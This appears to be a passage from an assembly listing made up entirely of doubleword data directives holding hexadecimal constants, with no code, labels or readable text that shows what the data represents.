		dd 796E238Bh, 0BAC10C0h, 6EB0013h, 46DE7FC5h, 0A2007EB6h
		dd 62BBB95Ah, 7DCD33B2h, 353A008Bh, 2A11E5Bh, 302E6839h
		dd 0EF02406Ah, 784D87Bh, 0F0FE8777h, 454D2FB5h,	9964D603h
		dd 0C0AE76A8h, 2F97EF4h, 520B6E8Fh, 4440C1A0h, 367CE8E4h
		dd 87983000h, 0D6638F81h, 868900C7h, 0E4C45220h, 6E269D32h
		dd 3001A880h, 0CAC9544Dh, 90BEF040h, 9CC64C50h,	0F75E9A0Fh
		dd 0D7A4B320h, 483073F9h, 8257299Fh, 604C0152h,	977FB985h
		dd 0DB9DE82Dh, 3548C67Bh, 8EAA8990h, 0A71D4064h, 7E5E2613h
		dd 94680F11h, 56E0E297h, 0BFDC08D1h, 0F2FB290Bh, 0F77C0345h
		dd 6E4A898h, 0C2970037h, 75F939A4h, 410049E2h, 2CDE65F8h
		dd 713DC28h, 0D24EC278h, 40708005h, 0E10F5F72h,	3301D9C0h
		dd 75D0F480h, 77FA0E10h, 0F8D84AC6h, 7013D364h,	1080359Ah
		dd 3831FC2h, 0A6792C0h,	0E804DDC7h, 3243F8C4h, 437E4A0h
		dd 7F5DEFD4h, 0F178855Eh, 0DB0840A7h, 46F0705Ch, 4015CE0Eh
		dd 1CBCF517h, 45008490h, 629A9FFAh, 75E6037Ah, 0CDD329B7h
		dd 7F880CCh, 0D0009CFh,	695A2CB3h, 178045h, 15DA6DF4h
		dd 5E51E532h, 33DA401h,	0C4CDB4D7h, 0B326F4h, 5711C7Fh
		dd 889AF523h, 45623Eh, 0BE7F2A9h, 0B03F9Eh, 84110768h
		dd 425337BAh, 0B709AC98h, 809D729Fh, 5A1BE088h,	4C2501D4h
		dd 3D90CD37h, 0A8EFF09Eh, 12F8C5Ch, 0FEE22289h,	0C8713709h
		dd 0BE24702Ch, 0E9204F68h, 299142EFh, 774A700h,	5DAAB76Bh
		dd 0BD4438ADh, 23B8AB02h, 9C44E6A2h, 1F009190h,	5F1E77BFh
		dd 2C279B2Ah, 4D47DFh, 0A936AD22h, 1CB8C48Ah, 80D3D439h
		dd 0A8C9A4B0h, 0F3CABBh, 245926F8h, 7E7FD916h, 0E840BE00h
		dd 540A6C6Dh, 583A0A8Dh, 5BFC7647h, 428604F0h, 65CDE71Dh
		dd 98C93984h, 48FCCB0h,	0DF953FEBh, 0CE0C9081h,	0F01A07Ah
		dd 0AFCF77Dh, 6435A66Ch, 2EF850DEh, 744770h, 0C08D7EC4h
		dd 0FB00AF02h, 1D8817A6h, 1F6FEABCh, 1D3CDh, 1A4E9486h
		dd 9C00E097h, 68C332F9h, 1E9BF0EEh, 0C0C523BEh,	0A007C7EDh
		dd 4AE43CA4h, 80A9BD3Fh, 0F475E177h, 81EE4Ch, 73AD49C2h
		dd 25177804h, 34095026h, 71C0E81Eh, 6EC2A4D8h, 4BD62E9Dh
		dd 0B9F000DFh, 7BB5388Dh, 0EAA6F900h, 485C33AAh, 0FC3D00E6h
		dd 0E931F112h, 0FE3CE1E3h, 946A18D5h, 1EE78AE9h, 80D22192h
		dd 953EEBCEh, 504BADE5h, 40DAA84Eh, 0AF0D1820h,	600760BCh
		dd 76FB62F8h, 34A13803h, 0C8E24373h, 280B8F2Eh,	11F4362Bh
		dd 0EAB0D6h, 0D276E875h, 0FC0DDADFh, 74B34C10h,	9F90E230h
		dd 170C77EDh, 787FB21Bh, 9680A083h, 19CB886h, 7182C8EBh
		dd 0D8C3EDE6h, 9F00C60Dh, 0F8766922h, 7DE5936Dh, 28C90001h
		dd 0C52C972Bh, 7C00340Dh, 95C8FA27h, 5C48ED7h, 0B657F12h
		dd 4325802Eh, 0DA00D5FCh, 60E0C9EBh, 0B1E8FDh, 176C4421h
		dd 3F898130h, 0CEF6F001h, 0A80ADD67h, 0E8563CF8h, 1CC10010h
		dd 0C75A24Eh, 3601DB5Eh, 0E431E5C8h, 0E541F95Ch, 6ACC50B1h
		dd 6E7A001Fh, 83B2C837h, 280BB80Ah, 68C0C5FBh, 90C38E58h
		dd 0A5E9005Ch, 0F3CD11AFh, 7E490E6Dh, 82B50038h, 23DB0121h
		dd 3950B65h, 0AC80671Bh, 1F9B8F36h, 10A99F04h, 0CCD0D37Eh
		dd 0F23BAh, 0EEFC21D5h,	0EDAF1F2Ah, 0A9030EDCh,	0E4942981h
		dd 8916A0D0h, 964B00B4h, 0A9450ABBh, 0E04DF576h, 0EDE91A04h
		dd 52084029h, 0AAA93A3Ah, 870A3D3Ah, 90248A29h,	0B626008Fh
		dd 0B5DE9E0Ah, 5E990183h, 24CAFB71h, 0ADDB70F3h, 0AC144Ch
		dd 5152D210h, 0EB2C6EEh, 0B41C8726h, 0D900F81Ch, 0AFD8AB33h
		dd 2100B945h, 0C4822F12h, 991E60h, 9002628Ah, 0FAE0F416h
		dd 9529602h, 0D0B27261h, 8E44A03Ch, 0CD9F0093h,	0FE0CE867h
		dd 4C0CB8DDh, 9074566Eh, 0AE5B0E96h, 6C4019B4h,	4766ED34h
		dd 32763300h, 878EF56Fh, 5D1B0078h, 0BDCF015Fh,	37012CF9h
		dd 2461AAAEh, 6C06858h,	12E0B0A7h, 0B5D8E2h, 0C427E023h
		dd 0AC03ED46h, 3C73EF29h, 18A9D0A6h, 850A1E89h,	7D634004h
		dd 0A0F91FD8h, 2E554D09h, 0D3688073h, 0F67253h,	7AF0711Ah
		dd 32C5C65Bh, 1B90EC18h, 94D056h, 25151CD5h, 0AD9CB991h
		dd 8224E4E1h, 1680AB54h, 0EE574300h, 964E2F20h,	898E327h
		dd 3B7321F0h, 478F5700h, 28C85D6Fh, 1A2B1174h, 4FBD09C2h
		dd 64502BDEh, 6B4400B4h, 0F0880932h, 8200E98Fh,	0A45D89ACh
		dd 71A9422Eh, 0E2CA1925h, 182390B8h, 0F1570844h, 0EEC47720h
		dd 203C7446h, 7109E4E4h, 20C87E6Fh, 69D99540h, 5023004Eh
		dd 970260E8h, 3E069255h, 0D3D51DA9h, 42AE0370h,	0E95916A3h
		dd 28F61013h, 0C02F700Fh, 0CAF5AA05h, 3D351B5Eh, 61A820D1h
		dd 18D8BDEDh, 137FD469h, 877C86A1h, 0F24180E0h,	0B8B00CEAh
		dd 0ABE25300h, 2707D588h, 0FA780030h, 0DE6C8064h, 56EEB912h
		dd 363D8200h, 0C9FF0709h, 0C9BECF2h, 320D6178h,	51002430h
		dd 0BADEB50Fh, 1D3125ADh, 1827F5B0h, 87E2149h, 9BDB500h
		dd 0BACB5436h, 606EFCA2h, 0EBA7583Eh, 0AFFCF129h, 59FEB32Eh
		dd 0E772F0Eh, 0A1F0619Ah, 0F16F13ECh, 0ACD4FCC2h, 0FA87A400h
		dd 745AF471h, 84700012h, 6D41E8A1h, 86F0EF08h, 0B226DF1Ch
		dd 8C6C57C0h, 0C6247E81h, 20E8A308h, 0B700BE7Eh, 6863555Dh
		dd 1899EC83h, 40FFDAD9h, 24002B0Dh, 0FC0C8FF8h,	626BA1h
		dd 764169CFh, 2DEDB222h, 0E3CC1B39h, 39EAE438h,	41E0D878h
		dd 0AC7C0F25h, 0B71F2D00h, 170BBF82h, 9BD7123Eh, 0CDD300E7h
		dd 0A7848F5Dh, 0B208B101h, 867EF0E9h, 22294180h, 0ED1FD57Fh
		dd 1276E872h, 89020C0h,	0C084DF8Ah, 0A59A2629h,	0AB4C8E40h
		dd 930719F0h, 21800208h, 66A56243h, 0AB1B81E5h,	88B02953h
		dd 0C09AC55Ah, 4DE99E80h, 680FECAh, 59040F14h, 2346F485h
		dd 0EB903013h, 0FBBF70Fh, 2C9F0352h, 0FAF19084h, 277500FCh
		dd 0C0E4A62Fh, 3707CD2Eh, 4982BDB2h, 0EFBEB090h, 5B190EA4h
		dd 1CE0D6D0h, 0CD57932Ch, 7F73DB00h, 363F8725h,	0A0410E94h
		dd 1F80145Ah, 5CBC12Ch,	70562A00h, 0C07D21ABh, 1EEC98h
		dd 0CDC14DAh, 32048F94h, 44260F06h, 1D40B5A2h, 543842h
		dd 0B8FB4107h, 1800B0D4h, 2968A2F2h, 156D783h, 0DF1BE719h
		dd 8093E57Fh, 0B15A3678h, 59F727h, 0B2D70913h, 8094DF1Eh
		dd 8FB38h, 88F33AB0h, 1EC749A1h, 8178DC8Ch, 26E00155h
		dd 0F4AEFCF0h, 7B8FB903h, 1204121Fh, 7DCF898h, 0C3B2D1A1h
		dd 18001937h, 7CC08F65h
		dd 0A6A06AAh, 8EF712ADh, 0A4F68080h, 97E5F273h,	1ADE3300h
		dd 3A84BCB9h, 91A11840h, 0E6492907h, 15B4C91Ch,	101AF9Ch
		dd 9F8BA1A2h, 130E2181h, 0B83CCFFEh, 0DE541F10h, 171CE6C1h
		dd 0D63098BDh, 8A7461h,	9B3AB2A7h, 7DBF1992h, 0D85B1430h
		dd 58DE38h, 2C9D160Ah, 3F2FADE0h, 3E578E01h, 550875F4h
		dd 0E040D1E4h, 2D0300D7h, 5EB3AA7Ah, 0A0B83FCFh, 0DC499700h
		dd 84228B25h, 0FC1300EEh, 59F9868Ch, 9D0F8A3Bh,	0AA1775h
		dd 0F3401F82h, 2C5D0B4Ah, 61806C81h, 4E592751h,	1830E330h
		dd 6D4B7Ah, 0E68ECC3Ch,	2D205B93h, 0DCB08D01h, 0AF21243Ah
		dd 89052880h, 0AE176DD8h, 0CA0083F8h, 0CDE4CFCBh, 7FE21C11h
		dd 93473ADBh, 0D7A57480h, 0D61F833Eh, 34CD1800h, 87677B64h
		dd 26A0C076h, 62F5D08Ah, 0D6DBB42Fh, 94160549h,	60FFC78Bh
		dd 0EFE92D46h, 3EA35D00h, 0FBCB66FDh, 3D4E001Bh, 55DE9030h
		dd 35052D9Dh, 8D678C33h, 594D9441h, 0D9837FF9h,	0D366D040h
		dd 217F968Bh, 0C4804100h, 2CDA7681h, 0E23D0074h, 3C337CF4h
		dd 2E0E6C69h, 0E4D6749h, 0B5A1805Ch, 77E3FB2h, 0E307389Bh
		dd 8DE03E14h, 550C933h,	0AC59E503h, 0FF916F63h,	0DBEB014Bh
		dd 0FD0D7B3h, 2A20C08Ch, 0F91C6F4Ch, 0DEAA1900h, 6C9BD829h
		dd 30A1F63h, 0BBE68734h, 834A40E9h, 3E7CBC60h, 81A6ED3Fh
		dd 429772E5h, 417E804h,	4C5906C7h, 0D3293A80h, 0C2B0123Fh
		dd 55514318h, 21B6DC30h, 9822C9F9h, 0AA1406F4h,	826DBB8h
		dd 20510C32h, 99E36399h, 19E00395h, 9D1E183Bh, 73C36116h
		dd 2C077C70h, 0F8F0B95Ah, 78E14210h, 5DD039Dh, 0A506872h
		dd 0C32793Ch, 0D8394E70h, 8AE00190h, 0C94FC6F6h, 8218F86Ch
		dd 363CF707h, 43B353B7h, 0F042A8B9h, 0C87A00ECh, 79678FC1h
		dd 901CF578h, 34000F06h, 0FAD58C77h, 0B5A0005Fh, 0DA3AA21Dh
		dd 9600087Dh, 9180571Ah, 0C512E8h, 9469EC28h, 5F35AF51h
		dd 0F40096E2h, 63F24771h, 488C90h, 0EEC4D84Dh, 0F58D4C7Ch
		dd 0D9DDFC03h, 0C04FD3C8h, 781A13A5h, 9CDF6D7h,	1FF84188h
		dd 0C42EC500h, 92029574h, 13A42C30h, 2A5D61DAh,	1DB72080h
		dd 1CE874CBh, 8606A28h,	8B2B1601h, 0AAC8BFC0h, 7BE736DCh
		dd 213A60A8h, 878FD3EBh, 50044FCh, 0C91C465Dh, 3023B7F6h
		dd 0CBF0BBF3h, 6000DD14h, 28DA9361h, 0CCEA3BC8h, 9A692608h
		dd 0A1607600h, 0EBD847F1h, 0D40D06AEh, 50A67901h, 0D1B05D01h
		dd 44A511E8h, 3C5FDC9h,	35651880h, 0B9B189CBh, 702193Fh
		dd 5A7484D8h, 0B452A250h, 7598000Fh, 0EE5F9BAh,	0B1003AC1h
		dd 0C927A351h, 0F0FC6E2h, 8310CED4h, 0F4A7B461h, 0BC3FC22h
		dd 4B1E8E00h, 286B092h,	81231234h, 0E8BF0068h, 38A5A4A8h
		dd 6D88D307h, 0D743EC48h, 63200085h, 0DD4FA898h, 0DB4CCFC8h
		dd 211860B5h, 6083DF02h, 295F4822h, 931F4A79h, 4FC0041Ch
		dd 0A2698AEDh, 57AF1696h, 11F607C1h, 6A5F9043h,	813021D5h
		dd 699B4836h, 0BD451B59h, 15E8105Eh, 4010AE7h, 8E25A92Bh
		dd 28D1A8F3h, 0FD487980h, 0E5E9E2E7h, 7500F67Ah, 0CA94D989h
		dd 192113A9h, 99923320h, 0E79220C4h, 7F277013h,	0D7719502h
		dd 84849D33h, 2067B280h, 5F5B8h, 0DEB53CBBh, 0E2AE33Bh
		dd 154228A7h, 0E6AC9883h, 54F10020h, 918C32EBh,	0C71F90C2h
		dd 7F0026CBh, 0F6AC44Dh, 0C0AC60DCh, 0B8349656h, 0E0099400h
		dd 0B56B6062h, 29BE00B6h, 0C8D6E8Eh, 2300F4C4h,	9275B815h
		dd 3FF2F838h, 440093C9h, 7F41ECA9h, 520088ADh, 0F65E6DD1h
		dd 9F3D72h, 40FA118h, 64FF36B1h, 7029FB0Eh, 88A660E6h
		dd 0FB7445Eh, 520BD92Dh, 9D7035C9h, 6B00F3F6h, 650A910Ch
		dd 3AA084F7h, 0DC803021h, 0D99A394Bh, 4100433Eh, 9FC5FE58h
		dd 32950AEh, 0D3BCE945h, 0C0BFDF33h, 95B19439h,	9C00FCB8h
		dd 59A7D409h, 34C7268h,	0B2F7E7C1h, 9AA0F854h, 4F003D3Bh
		dd 0EC763721h, 19231E8Fh, 9A0AEDDAh, 34208097h,	4850B62Dh
		dd 37531891h, 0FA4F19C8h, 94F85FE0h, 9008E6FAh,	33C1D51h
		dd 9B074770h, 310EACE0h, 0E3688428h, 5D02E40Fh,	94A0C022h
		dd 0CE3970h, 0E7F45CF8h, 124C3D5Fh, 7F538906h, 0EC684F5Bh
		dd 79210009h, 496F6B1Ah, 7D0FA5EDh, 80B92D78h, 0C222ADE9h
		dd 53E887h, 0F907576Ah,	508D0A1Ah, 8D4CE1Dh, 0DB0C9100h
		dd 0F82A553h, 81BBC4FFh, 0A4696323h, 0EE223000h, 3AA36B7Ah
		dd 879860h, 63A051EFh, 1AC26F5h, 2C08E500h, 0BA61FD40h
		dd 21140173h, 7B671C38h, 4F3AD443h, 172845EAh, 0B53EE791h
		dd 2E4D80D9h, 20739455h, 207A601Ch, 988BA224h, 0D5B76703h
		dd 0E3CCEBECh, 0B113E37Eh, 6AE4C004h, 84670006h, 0B7D240FDh
		dd 311CDFA8h, 6C001097h, 96164F2h, 44B4006Ah, 17466B9Ch
		dd 0F00FB7FBh, 27AD2152h, 27D350F4h, 3407C55h, 0A4104F73h
		dd 0BFD8F9C8h, 3B0013F2h, 0D53CFD47h, 6ED037h, 0E7D6E108h
		dd 0EF44683h, 0FE9DB700h, 0F895CDC1h, 4CAC0370h, 0B557D113h
		dd 698F52D8h, 0B8CEE000h, 885816DDh, 0B73C5053h, 0A9B502E9h
		dd 0C724DE2Ch, 9CA75FE0h, 0CCD09300h, 92CE78F3h, 127902Eh
		dd 0E98B18D3h, 0E4F6D9DCh, 0C8004F8Eh, 3AB032CEh, 0C067AB53h
		dd 18338350h, 696009BCh, 8C56D510h, 0EE7AC08Ah,	0EF9E34A6h
		dd 21C00FE8h, 0B8C4656Eh, 783F18C7h, 0F37C589Ah, 75BA7F00h
		dd 8B0102B6h, 6B8D0F48h, 5FAC905Dh, 0D34CC7B9h,	616D0707h
		dd 5143FFF0h, 90DEA1F1h, 0AD712080h, 9AD41867h,	0F5A48503h
		dd 635A0Ah, 491FB148h, 568D440Bh, 0EE7D9D00h, 0DE6D0861h
		dd 6BE29Fh, 275BB0DBh, 16D93A07h, 0CFC91100h, 0A795F605h
		dd 0C61000FEh, 9CB32A8Ah, 0D2900708h, 0F339E600h, 0CCED94D7h
		dd 200C00D5h, 0E2CA3574h, 807F42Ch, 0C27390BAh,	0EF464FF1h
		dd 6A21E4h, 30C87668h, 0BC551CE6h, 0D5CA0600h, 4E5BF10Fh
		dd 0F6E4EE2h, 4C402A35h, 83CAE5BDh, 772D1100h, 0BB79DFB0h
		dd 3E7100D7h, 0F1DA36CBh, 0DB00AD53h, 7AF05E49h, 0ACC102h
		dd 2ACE16F7h, 810891A4h, 9B885C1Fh, 0DDCD4D80h,	0F88D1426h
		dd 0A42E0039h, 33FB640h, 0D500F649h, 269A6429h,	0C324183Dh
		dd 0BD28DF28h, 0E0931DF8h, 2354DB1Fh, 139A7406h, 6C173820h
		dd 18C01098h, 1F03482Ah, 0E0D1C773h, 83DE98A8h,	7422F04Dh
		dd 1B593097h, 0FEEF6358h, 0A8A9F600h, 650403DCh, 490700E8h
		dd 4F4A2E86h, 7D185B01h, 53301064h, 22C00061h, 0F9E69CAh
		dd 21606B05h, 8BB6A780h, 72EA0386h, 0C3550DEBh,	0C0890EE9h
		dd 0BA009ED2h, 649BED96h, 3B79CA0h, 0BD2AA307h,	119895D1h
		dd 7D1849CAh, 8DC07C6Dh, 92B600E4h, 977612B3h, 150EBDB7h
		dd 0C149E179h, 0EAB978F9h, 54F393D0h, 3A800Eh, 0CF051092h
		dd 4B1CA8AFh, 449AAA00h, 9694B371h, 0FFB20021h,	0F4D50A8Eh
		dd 2515153Ah, 7C4D7A6h,	0E137CB7h, 0A0C88F80h, 4C1C0E96h
		dd 0A1A2C5B1h, 74011775h, 7181D89Ch, 4E7AB804h,	0E6AC41DCh
		dd 1F18F8B1h, 6C6860Ch,	62C981h, 0FA5EE9C5h, 74E14472h
		dd 150B2900h, 8BC8BD1Fh, 13BE072Ch, 10EE2704h, 0A9A33287h
		dd 62411B00h, 0A109C7AAh, 4E7D00BAh, 5E33E954h,	0DBB8BC05h
		dd 1D07B0F8h, 0FBAE45D0h, 0F5FF9560h, 117FEAh, 0FDDCC1E8h
		dd 7C5BF467h, 12B95D00h, 0E1DABB8Ah, 609A001Ah,	41821905h
		dd 4B000CCAh, 0EA7B6526h, 111CBBh, 0E1A6DC92h, 0FAA52A01h
		dd 31541A34h, 45F6AEC0h
		dd 650B3AAAh, 478BE183h, 0A6906166h, 8E0F1096h,	0A02EFC19h
		dd 29D1C96Ch, 1E8CE494h, 0C09A98EAh, 6F732DBh, 2BEAADBBh
		dd 7809141Dh, 999F2D00h, 195C7B9h, 44E1DC9Ah, 60FB9DAAh
		dd 0C87331D1h, 39A7CC00h, 52F1F664h, 0D4DB0C93h, 20E0BD23h
		dd 832CF800h, 5A116E58h, 1E839850h, 0FA4CF15Eh,	0A44A0800h
		dd 561AEF55h, 5BD9EE1Ch, 0D8A7E080h, 855491h, 0BCCFD604h
		dd 0FE47635Ch, 0AA4A7C07h, 0E140AB1Bh, 0F6EFF3Ah, 810CE459h
		dd 0F7CBCA0h, 2300E9C3h, 0F203F686h, 7755AEE0h,	63B93CFAh
		dd 0CFAD050Ch, 0EC0DE118h, 5846D824h, 60AE59E0h, 20FA18F1h
		dd 0FC3B9EC2h, 39D58024h, 612AC525h, 41CC030Bh,	0AF7865F6h
		dd 0AD553800h, 0BCDFB53Bh, 15E9B890h, 2C2B051Ah, 5275D900h
		dd 0B0C3A19h, 2009EC01h, 88A4FABCh, 5F334C40h, 771A908Bh
		dd 69791EDFh, 0F3E2CDC4h, 836EFD90h, 0D82074F1h, 93190029h
		dd 2D7B19A5h, 5A0A4A56h, 88260AE4h, 6B000396h, 21BC6EDBh
		dd 2941C1B7h, 0E8548C2Dh, 6400134Eh, 7965A733h,	62D83Fh
		dd 919004E0h, 0E802E39Eh, 1E273C00h, 18A855E9h,	23D5006Eh
		dd 0CEA10EDh, 2C798CE0h, 0CC244D50h, 66C84641h,	7B6A01A8h
		dd 8FB9EB97h, 59308C9Bh, 1C22B9DAh, 80F0BB71h, 0B1C6E25h
		dd 0BE888B86h, 63DA03FCh, 61DCD55Ah, 37FC5CCh, 6965E71Dh
		dd 55D8028Bh, 34982AC8h, 29A0FF50h, 79040B8h, 0BC660628h
		dd 7A2BE907h, 0C337D337h, 21AD0B80h, 1090B6h, 0BE025766h
		dd 0E5A85346h, 92A00D06h, 0FE181256h, 379B004h,	0E3A490DCh
		dd 182663BCh, 0EB01BF44h, 0F4CE48E0h, 205F7880h, 0C20F2992h
		dd 0EEAAAB40h, 0B89454EDh, 0BBE80478h, 0C0885ACDh, 8F469FD2h
		dd 0D9C97E00h, 0CB92FC8Bh, 6CB90067h, 4D48D6F9h, 173A87A8h
		dd 9476828Dh, 484F3C24h, 0C82324h, 5578DE72h, 76589D57h
		dd 0AA796490h, 5F716B60h, 90C5646Fh, 6D12424h, 0D5A88074h
		dd 993F2CAAh, 75D00500h, 0E7443C20h, 0CA7A0040h, 5AE129FBh
		dd 100B38Eh, 6A3862B4h,	0F2FA3Bh, 6742F084h, 7A5B6B7Eh
		dd 0CE74FE17h, 0B422BF00h, 486DBE95h, 0F0103E2h, 81A43F2Eh
		dd 1870ECD5h, 8073633Dh, 1DEDCB72h, 0CC787Ah, 7793D3E5h
		dd 8487997Eh, 2B275E00h, 0D501509Dh, 5D3301D8h,	0E4709A9Ch
		dd 7A05EC42h, 0FF3B4500h, 0E5A49EDFh, 791100D7h, 0BEEA1320h
		dd 0E83C8D7Bh, 197703EEh, 0C7099A2Ch, 0AF96D3C0h, 2A3D00CDh
		dd 0CA599968h, 0DE003372h, 0F33BD877h, 44324Bh,	2F465EE3h
		dd 0E28FF058h, 0CD1FE57Dh, 0EA801D08h, 3E1A7404h, 0ED650041h
		dd 1F3A3028h, 0C0021464h, 9287F8FBh, 5F88806Eh,	0C00B45C9h
		dd 0A32BCDE8h, 4018DFD8h, 7851F280h, 0B359039Ch, 0A25BD6BAh
		dd 9D87D5D0h, 0AB2A1300h, 48DC21E9h, 60FA737Ah,	393230D2h
		dd 70A5246h, 0B6EC0C93h, 0D9818800h, 89ABC9h, 8A19ECDh
		dd 0ECF96028h, 0C600E974h, 75BF57C7h, 0E8C2E88Eh, 21D345h
		dd 384A3790h, 883B99BCh, 8D8B83C7h, 0E8616706h,	606E2A36h
		dd 57D286F9h, 0C0001F0Ch, 92EB7DD1h, 33BB1E35h,	0E208630Bh
		dd 89A02100h, 860A67BCh, 8A5500C5h, 918E1EEh, 4800A99Eh
		dd 0E95B8C17h, 0CF9A0h,	307C96B6h, 3E754CFh, 874DB702h
		dd 0F601112h, 2820CCAEh, 0BF9122EAh, 0BAA0C000h, 51CDAB62h
		dd 0D3741EE7h, 30601E10h, 0B592FD30h, 0A913E206h, 0F8E935C0h
		dd 588B645Dh, 223F43DAh, 5855D8CEh, 51A01915h, 80230848h
		dd 0B5B0D121h, 0BC1E1Dh, 9E54F84Dh, 40CEABFDh, 5BB48D50h
		dd 82005F43h, 7FB92137h, 7084A31Dh, 9EF68084h, 56006EFEh
		dd 4F7BD216h, 30139799h, 67201F3Eh, 0D8003470h,	0DDFE5938h
		dd 0B8FDBB6h, 1102B892h, 0EA7E3E80h, 0E5006688h, 0DE63A316h
		dd 25D1960h, 53C83FBh, 0D5E18448h, 0C060D349h, 0F0AE7A58h
		dd 506002Ch, 0E838EE58h, 0FF009890h, 0A2EA7C78h, 8BA80Bh
		dd 1A24C5B2h, 0B3BF35B1h, 0F35A711Fh, 0D0D89500h, 0FCA1A7h
		dd 7DA8D404h, 836C11B8h, 560F2E0Eh, 9712C2C4h, 4BCCBh
		dd 3283B41Dh, 0B665962h, 77F69E07h, 2AD238AFh, 54B56047h
		dd 0A9051EE2h, 0F56D007Ch, 3E40C7F3h, 88B95000h, 68655A26h
		dd 906901A6h, 0BF589907h, 0E4F2D479h, 2FECFC71h, 22002F98h
		dd 70C2AFBCh, 0F69855h,	0C723C30Ch, 0EB40AB3h, 0D600AE75h
		dd 0E8A85739h, 1A5ECD8h, 703752CFh, 0F0751003h,	0E4F52B24h
		dd 8E1CEF4Fh, 4B1F8AB8h, 15E21F80h, 787BC94h, 0C75CEA8Fh
		dd 0E94450AAh, 9600FFADh, 944D0D3Fh, 9E11B1h, 0B2BD4B39h
		dd 0EBB35D9Dh, 0D9B50F00h, 20FBF091h, 34B60712h, 31C64235h
		dd 0F8A3A276h, 0A100F3D3h, 1192C4D6h, 80528Ah, 0E2394989h
		dd 0F69901DBh, 359EFE0Fh, 20AF607Dh, 0F7B350h, 0CDEBF836h
		dd 0C8F4CB90h, 98DFD402h, 80B2BA57h, 40045D88h,	0DAC4004Ch
		dd 0A070F4Eh, 0FB00B87Ah, 73A35462h, 0EE8B5EAFh, 0D4F6C1h
		dd 384EE06Eh, 0D54F5564h, 1A91CD00h, 0E16D7BAEh, 0E7A218ABh
		dd 7C5D7108h, 0D4349700h, 51BD5C03h, 0D1605C42h, 30351A07h
		dd 0AADE324Fh, 3FCE3083h, 0A76C3800h, 75994318h, 25A6053Ah
		dd 0C0DDA1B1h, 66E23E5Bh, 406A8031h, 1AD4496Ch,	0F77165h
		dd 394A11CFh, 0A66F10EEh, 9CCB3Dh, 6C41FD3Ah, 3C167E75h
		dd 8F9DEA85h, 0CC184095h, 39CEAC72h, 5E80DC01h,	1BAE3BC0h
		dd 9D9E7F0h, 7456F2F9h,	0D0DF7B87h, 0B096FD64h,	7922EB00h
		dd 0B157231Ch, 0FFBB1EDDh, 0E89E40Eh, 1BC0FEEDh, 95AF0FE1h
		dd 7228C300h, 6AB86D4Ah, 8EF86Fh, 773F85E9h, 2598FCA3h
		dd 678FC800h, 4576F860h, 0A24F1E10h, 47007CDDh,	94E332FAh
		dd 70006543h, 20A1C085h, 193F98h, 9362E259h, 88D17E02h
		dd 9B87C200h, 3EE13DDFh, 51B60331h, 0F177E362h,	30C8F9E3h
		dd 982E584Ah, 0ED006BB2h, 798EE0C6h, 37A60081h,	9650DF20h
		dd 3D0FB6B9h, 20743693h, 9F75F44Eh, 1C9907FFh, 208A9462h
		dd 97E83ED2h, 0FC89A600h, 0B1922E76h, 0AA9800A5h, 0EAACC728h
		dd 9703F1A9h, 91A88FBDh, 0BB6DF8E7h, 12621D2Eh,	51FC8045h
		dd 544C8CCCh, 3AC7448h,	0E0A67164h, 0B47C83Dh, 527FC8h
		dd 0CF4B2FCEh, 0A1C2EF86h, 54AD1900h, 0D7C99E71h, 98A40176h
		dd 9F25CABBh, 45EAD01Dh, 9A146500h, 0AF3FA0EFh,	7A8E0256h
		dd 974411B7h, 34953C80h, 0F97248E1h, 0DC3E6D0Ch, 0AAE682Eh
		dd 30BB669Eh, 74864010h, 0C801C30Eh, 3782D45h, 308770B1h
		dd 50652CC1h, 86ADD56Dh, 0BE070200h, 9D0F98F8h,	2209006Bh
		dd 0B37EC444h, 0CE3D4265h, 0C1DB80EBh, 0D02D7305h, 7C66030Eh
		dd 0CF51F244h, 0D7DA0298h, 2A198D00h, 2408E3C3h, 0AB2B00F6h
		dd 5A109B23h, 51006F34h, 0ACC07138h, 73A47563h,	2970188h
		dd 5B4BBF7Ah, 60442183h, 0D30F9340h, 0DD1ECB01h, 6C8DE43h
		dd 4CF9E8BBh, 0F35B0058h, 8C4F3DD2h, 930F0E77h,	455C95h
		dd 97565E8Dh, 18CE00BAh, 0E8926568h, 9C00A40Ch,	9FF43BCCh
		dd 6EA75Ah, 42A10F08h, 1A53523Ah, 3993E600h, 505AFBA5h
		dd 8843E192h, 60C3823Ch, 707D551h, 93ABA419h, 3EE71253h
		dd 90B20C40h, 2940F49h,	72DE6BCEh, 0E8880A3h, 267C250h
		dd 0A8E60440h, 0AF6016BAh, 35516825h, 0F032E8C4h, 460C1D03h
		dd 0D83BB9FAh, 97E9D7h,	9811609Bh, 908486EEh, 999CED03h
		dd 89F8EBA1h, 8BEC3E33h, 817FADh, 435D8717h, 0D095E48Ch
		dd 0DD0CE903h, 0C0D94E79h
		dd 765243Fh, 554CFCB5h,	0C02217A2h, 282E500Dh, 67906412h
		dd 63174D00h, 0FCBA7F48h, 1AF400ACh, 0C6B2436h,	0F00E7E1h
		dd 9D9C5C7Ah, 0CDE4BEh,	0EEA4C6Ch, 5BD9D323h, 0A5F4FB00h
		dd 86CB3F51h, 10A90359h, 0F958BF90h, 85A6FCF8h,	0A1AD2003h
		dd 0F0025FD9h, 450C86h,	0F6CE6CFBh, 6E46E26Dh, 1A0E65B8h
		dd 0F294B7h, 2F73B6DBh,	772EA05h, 0D9441DECh, 0B76A106Fh
		dd 4000CD7Dh, 1EA865B4h, 0B959092h, 0CAE37CD1h,	29601400h
		dd 0BA2C3924h, 0F80024EBh, 940486F2h, 7C906Eh, 19468128h
		dd 88CA7B43h, 107D5200h, 0AD4C908h, 58DA0484h, 81784FC2h
		dd 90A2C4h, 1F6FCDD9h, 802C176Dh, 1E5DCCF5h, 10C010BAh
		dd 3692C89Eh, 0D6791Bh,	0FE6734D3h, 6015D9E4h, 99752100h
		dd 9278D4D1h, 134F0064h, 0AE2E98D7h, 97006261h,	9BDEC4ACh
		dd 0E8B0771Ch, 98AF005h, 3F9375C8h, 91258306h, 0E197F321h
		dd 0F41B3344h, 0D1003512h, 5C39AF22h, 4537D5h, 0DFCF9F50h
		dd 1BAC55EDh, 74004C98h, 8C4E5BC2h, 0FD98AE7h, 0FDA85F69h
		dd 370C2052h, 0E2003B80h, 4572A919h, 6442AEh, 8F1EB0E7h
		dd 6F38F5B9h, 371A3500h, 0B3746124h, 98FB033Dh,	5D29A80Ah
		dd 8057A58Fh, 6BF3D4FFh, 0B40C4700h, 0D2C65197h, 7DEB26B6h
		dd 168B00F1h, 607086A3h, 26E9153Ch, 0B60003A4h,	186C5704h
		dd 3BE60577h, 0D1BF0F63h, 34734ECCh, 0A770DB64h, 8191A000h
		dd 0C0FD3C8Ah, 9D340062h, 0BF169703h, 4125236h,	9400C9F4h
